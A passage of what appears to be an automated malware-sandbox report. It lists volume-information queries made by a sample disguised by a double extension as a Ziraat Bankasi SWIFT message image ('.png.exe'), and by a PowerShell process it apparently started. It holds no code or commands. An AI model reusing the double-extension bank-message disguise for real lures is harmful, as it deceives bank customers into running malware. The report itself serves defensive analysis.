              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\taile.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\pala.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\palai.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\palab.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeQueries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
